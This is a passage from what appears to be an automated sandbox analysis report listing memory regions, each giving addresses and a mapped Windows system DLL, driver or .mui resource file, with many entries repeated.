0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5938 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5939 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5940 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5941 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5942 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5943 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5944 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5945 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5946 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x196ef3f5b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5947 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5948 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x196ef3f5b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5949 start_va = 0x196ee9e0000 end_va = 0x196ee9e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5950 start_va = 0x196ef3b0000 end_va = 0x196ef491fff monitored = 0 entry_point = 0x196ef40d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5951 start_va = 0x196ee9e0000 end_va = 0x196ee9e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5952 start_va = 0x196ef3b0000 end_va = 0x196ef491fff monitored = 0 entry_point = 0x196ef40d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5953 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5954 start_va = 0x196ef3b0000 end_va = 0x196ef493fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5955 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5956 start_va = 0x196ef3b0000 end_va = 0x196ef493fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5957 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5958 start_va = 0x196ef3b0000 end_va = 0x196ef442fff monitored = 0 entry_point = 0x196ef429000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5959 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5960 start_va = 0x196ef3b0000 end_va = 0x196ef442fff monitored = 0 entry_point = 0x196ef429000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5961 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5962 start_va = 0x196ef3b0000 end_va = 0x196ef450fff monitored = 0 entry_point = 0x196ef443000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5963 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5964 start_va = 0x196ef3b0000 end_va = 0x196ef450fff monitored = 0 entry_point = 0x196ef443000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5965 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5966 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5967 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5968 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5969 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5970 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5971 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5972 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5973 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5974 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5975 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5976 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5977 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5978 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5979 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5980 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5981 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5982 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5983 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5984 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5985 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5986 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5987 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5988 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5989 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5990 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5991 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5992 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5993 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5994 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5995 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5996 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5997 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5998 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5999 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6000 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6001 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6002 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6003 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6004 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6005 start_va = 0x196ee9e0000 end_va = 0x196ee9eefff monitored = 0 entry_point = 0x196ee9e36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 6006 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 6007 start_va = 0x196ee9e0000 end_va = 0x196ee9eefff monitored = 0 entry_point = 0x196ee9e36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 6008 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 6024 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6025 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6026 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6027 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6028 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6029 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6030 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6031 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6032 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6033 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6034 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6035 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6036 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 6037 start_va = 0x196ef3b0000 end_va = 0x196ef4befff monitored = 0 entry_point = 0x196ef3ec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 6038 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 6039 start_va = 0x196ef3b0000 end_va = 0x196ef4befff monitored = 0 entry_point = 0x196ef3ec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 6040 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6041 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6042 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6043 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6044 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6045 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6046 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6047 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6048 start_va = 0x196ee9e0000 end_va = 0x196ee9f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6049 start_va = 0x196ef3b0000 end_va = 0x196ef606fff monitored = 0 entry_point = 0x196ef5bce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6050 start_va = 0x196ee9e0000 end_va = 0x196ee9f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6051 start_va = 0x196ef3b0000 end_va = 0x196ef606fff monitored = 0 entry_point = 0x196ef5bce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6052 start_va = 0x196ee9e0000 end_va 